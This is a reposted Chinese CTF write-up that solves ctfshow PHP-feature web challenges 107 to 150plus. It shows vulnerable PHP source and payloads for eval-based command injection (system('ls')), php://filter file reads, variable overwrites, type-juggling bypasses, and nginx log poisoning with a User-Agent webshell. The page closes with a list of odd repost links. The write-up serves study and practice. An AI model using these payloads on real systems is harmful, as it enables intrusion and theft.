当前位置: 首页 > news >正文

ctfshow-web入门-php特性(二)

web107

知识点:

<?php
​
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
if(isset($_POST['v1'])){$v1 = $_POST['v1'];$v3 = $_GET['v3'];parse_str($v1,$v2);if($v2['flag']==md5($v3)){echo $flag;}
}
?>

parse_str($v1, $v2);这个函数会将$v1中的字符串根据=进行拆分,分为键和值,存储在后面定义的数组中。后面的数组变量不需要在函数外定义,这里会默认定义为数组。下面的if判断语句说明我们传入一个变量为flag,只要与传入v3值的md5值相同。

payload:

post传参:v1=flag=0e405967825401955372549139051580

get传参:?v3=QLTHNDT

web108

<?php
​
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {die('error');
​
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){echo $flag;
}
​
?>

ereg()函数,存在%00截断,在检索指定字符串中存在的字符串时,遇到%00后会停止检索,而intval()函数会将数字以外的字符自动删除,所以payload为:

?c=a%00778

web109

 <?php
​
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];
​if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}
​
}
​
?>

该题目大致两种思路,一种是使用匿名类去执行系统命令,一种使用php内置的类去执行系统命令。

匿名类去执行系统命令:

v1=class{public function __construct(){system('ls');}};&v2=a
这里的匿名函数不是随便选择,__construct() 构造函数

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

这里v2=不会起到作用,随便取值。

php内置类去执行系统命令:

Reflectionclass()
CachingIterator::__toString()
DirectoryIterator::__toString
Error::__toString
Exception::__toString
pyload:
?v1= Reflectionclass&v2=system('ls')
?v1= CachingIterator&v2=system(ls)
?v1= DirectoryIterator&v2=system(ls)
?v1= Error&v2=system(ls)
?v1= Exception&v2=system(ls)
?v1=FilesystemIterator&v2=getcwd

这些函数能够使用的原因: 在输入后,函数执行首先内部开始,需要将v2函数执行的结果变为v1函数的参数,因此会优先执行v2的函数。

web110

禁用了大多数符号,因此无法执行系统命令。

使用内置类:FilesystemIterator,配合getcwd获取当前目录下的所有文件

getcwd返回当前目录

FilesystemIterator获取指定目录下的所有文件。

?v1=FilesystemIterator&v2=getcwd

扫描得到txt文件,txt可以直接访问,得到flag。

web111

<?phphighlight_file(__FILE__);
error_reporting(0);
include("flag.php");
​
function getFlag(&$v1,&$v2){eval("$$v1 = &$$v2;");var_dump($$v1);
}
​
if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];
​if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){die("error v1");}if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){die("error v2");}if(preg_match('/ctfshow/', $v1)){getFlag($v1,$v2);}
}
​
?>

该题目的知识点是变量覆盖,考察了超全局变量$GLOBALS。

v1中需要出现字符串ctfshow,才能执行getflag()函数,getflag()函数是将v2的值覆盖到v1的值上,即将值传给$ctfshow。由于$flag变量属于flag.php,所以不能直接传参数给v1,要使用全局变量$GLOBALS。

即最终结果为:$ctfshow = $GLOBALS

web112

<?phphighlight_file(__FILE__);
error_reporting(0);
function filter($file){if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){die("hacker!");}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));
}else{echo "hacker!";
}

php伪协议绕过,php搭配不同的过滤器,可以来读取文件。

php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

常见过滤器:

convert.quoted-printable-encode
​
convert.iconv.*
​
zlib.deflate
​
bzip2.compress
​
string.rot13
​
string.tolower
​
convert.base64-decode

web115

 <?phpinclude('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";}
}else{echo "hacker!!!";
}

考察对强相等和弱相等的判断,以及对is_numeric()、trim()函数函数的绕过。

(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')

绕过is_numeric()函数:利用字符串前加空格,或者利用一些特殊符号:换页符:%0c, %20,%09。

trim()函数绕过:

用法:trim(string,charlist)

规定从字符串中删除哪些字符。如果省略charlist,则移除下列所有字符:

"\0" - NULL
​
"\t" - 制表符
​
"\n" - 换行
​
"\x0B" - 垂直制表符
​
"\r" - 回车
​
" " - 空格

利用换页符%0c绕过:

在执行trim()函数前后,都与36不强相等。

filter($num)==36,弱相等是先进行类型转化在进行比较,所以会去除%0c,仍然可以绕过。

($num=='36') 同理。

在 PHP 中,使用 ===!== 进行比较时,会同时比较值和类型,而使用 ==!= 进行比较时,会进行类型转换后再比较。


<?php
​
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}}
}
?>

方法一:

考察php变量中出现非法字符后的处理存在缺陷,从而导致产生漏洞。

在php代码中出现点、空格等非法字符后,会将其转化位下划线_,在php8版本以前,php变量中出现中括号 "[" ,也会被转化为下划线,并且后面再出现非法字符时,不会再进行转化。在post 进行传参时,CTF_SHOW 和 CTF_SHOW.COM传入参数,fl0g不需要参数。就能够执行eval()函数,因此可构造以下payload:

CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=echo $flag

方法二:

利用 $a=$_SERVER['argv'] 进行绕过:

在命令行模式下执行php脚本时,$_SERVER['argv']用来获取脚本的命令行参数:

执行以下命令:
php srcipt.php php1 php2
$_SERVER['argv'][0]="script.php";
$_SERVER['argv'][1]="php1"
$_SERVER['argv'][2]="php2"

但是在网页模式下执行时,通常不会含有有用的信息,但是服务器可能将查询的字符串或者其他信息填充到$_SERVER['argv']中。通过以下payload:

get:$fl0g=flag_give_me;
​
post:CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=eval($a[0])

传入$fl0g,由于变量名中不包括$符号,isset($_GET['fl0g'])会检测为假,因此可以绕过过滤。

post传参绕过过滤,最终将eval($a[0])传递给$c,这个时候$_SERVER['argv']等价于$_SERVER['QUERY_STRING'],用来查询字符串。

当服务器访问get参数$fl0g=flag_give_me;时,服务器的配置会将该字符串发送到$_SERVER['argv'][0]中,此时,eval($c) 等价于执行 eval( eval ($a[0])),就会执行eval('$fl0g=flag_give_me;'),因此'flag_give_me'字符串赋值给$fl0g,从而if($fl0g==="flag_give_me")强相等的判断语句就可以通过。

payload另一种形式:

?a=1+fl0g=flag_give_me;
CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=parse_str($a[1])

parse_str会将字符解析到变量中,将a参数根据+进行分割,即a[1] = 'fl0g=flag_give_me;',将该变量传给$c,执行eval()函数时,即执行eval(parse_str($a[1]);,最终仍是执行eval('$fl0g=flag_give_me;')

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}
}
?>

比上一题多过滤了一个flag,因此上一题的payload无法使用,可以利用变量嵌套的方法去获取flag:

get:?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_light($_GET[1])
利用 $a=$_SERVER['argv'] 进行绕过:
​
get:$fl0g=flag_give_me;
post:CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=eval($a[0])CTF_SHOW=xxx&CTF[SHOW.COM=xxx&fun=assert($a[0]) assert 函数用于执行字符串中的 PHP 代码。

web150

<?php
​
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
​
class CTFSHOW{private $username;private $password;private $vip;private $secret;
​function __construct(){$this->vip = 0;$this->secret = $flag;}
​function __destruct(){echo $this->secret;}
​public function isVIP(){return $this->vip?TRUE:FALSE;}}
​function __autoload($class){if(isset($class)){$class();}
}
​
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
​
if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
} 

非预期解:

该题目利用文件包含漏洞拿到shell,获取flag。满足if($isVIP && strrpos($ctf, ":")===FALSE)条件,即可执行include()函数,从而实现日志包含漏洞。

ctfshow?isVIP=True (这里是通过对类的调用使得isVIP()方法为True),从而满足include函数的执行条件。
ctf=../../../../var/log/nginx/access.log&a=system('tac flag.php');
UA头传入:一句话木马

web150plus

<?php
​
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
​
class CTFSHOW{private $username;private $password;private $vip;private $secret;
​function __construct(){$this->vip = 0;$this->secret = $flag;}
​function __destruct(){echo $this->secret;}
​public function isVIP(){return $this->vip?TRUE:FALSE;}}
​function __autoload($class){if(isset($class)){$class();}
}
​
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}
​
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
}

利用_autoload()函数可以执行非定义类,以及变量覆盖来getshell。

__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo

文章转载自:

http://247E1fbX.xjmzy.cn
http://rW1Bdpfi.xjmzy.cn
http://N74kaljW.xjmzy.cn
http://ClgLthiN.xjmzy.cn
http://4w8DNDvF.xjmzy.cn
http://QylAYI9p.xjmzy.cn
http://sczp5c19.xjmzy.cn
http://SXyxMuFv.xjmzy.cn
http://tZRR5a8x.xjmzy.cn
http://Njs7q7L8.xjmzy.cn
http://pFfUQMr1.xjmzy.cn
http://XxSSBylw.xjmzy.cn
http://eFSoOllA.xjmzy.cn
http://DzOBDzE0.xjmzy.cn
http://ANGdyWxw.xjmzy.cn
http://3oxsI8io.xjmzy.cn
http://hgo3e5ar.xjmzy.cn
http://EeDnCl3C.xjmzy.cn
http://iamtRuH7.xjmzy.cn
http://0nb9kE76.xjmzy.cn
http://JRN8R1QT.xjmzy.cn
http://MVgh0S7e.xjmzy.cn
http://k6h2iQz8.xjmzy.cn
http://tU0Hg830.xjmzy.cn
http://lNV8pAU6.xjmzy.cn
http://np5LOXpm.xjmzy.cn
http://VU3bpCvs.xjmzy.cn
http://3G8GplDN.xjmzy.cn
http://UYWWiXuk.xjmzy.cn
http://gp5nOGHu.xjmzy.cn
http://www.dtcms.com/a/375923.html

相关文章:

  • CSP认证练习题目推荐 (1)
  • MySQL 命令
  • MyBatis操作数据库——进阶
  • huggingFace学习之编码工具
  • 人工智能期末复习(部分)
  • 【Pytorch】2025 Pytorch基础入门教程(完整详细版)
  • Cookie 与 Session 的关系详解
  • Java微服务架构拆分:边界原则的实战破局与多场景案例解析
  • expect脚本详解
  • 交通识别摄像头以及带AI算法
  • SpringMVC通过注解实现全局异常处理
  • Linux基础知识(四)
  • 向量化与嵌入模型:RAG系统背后的隐形英雄
  • 你知道zip()和zip(*)怎么用吗?
  • 工业领域企业CRM常用的有哪些系统?
  • Git cherry-pick 与分支重置技术实现代码健全性保障下的提交记录精简
  • 【Nginx 运维实战】版本替换:强制 vs 平滑升级全解析
  • HTTPS加解密流程解析
  • Android 升级minSdkVersion 导致 包体积变大的处理
  • Linux系统 Python3.12版本连接达梦数据库dmPython和django_dmPython
  • 零知开源——ESP32驱动OV7670摄像头实现简易照相机系统
  • 前端开发工具trae的使用
  • Coze源码分析-资源库-创建插件-前端源码-核心组件
  • 数据集成平台怎么选?从ETL到CDC再到iPaaS的全景对比
  • 【Linux基础】Linux系统配置IP详解:从入门到精通
  • 2025版基于springboot的企业考勤管理系统
  • 【计算机毕业设计选题】2025-2026年计算机毕业设计选题经验与项目推荐
  • Python数据处理管道完全指南:从基础到高并发系统实战
  • VMware安装CentOS 7教程
  • SpringBoot + MinIO/S3 文件服务实现:FileService 接口与 FileServiceImpl 详解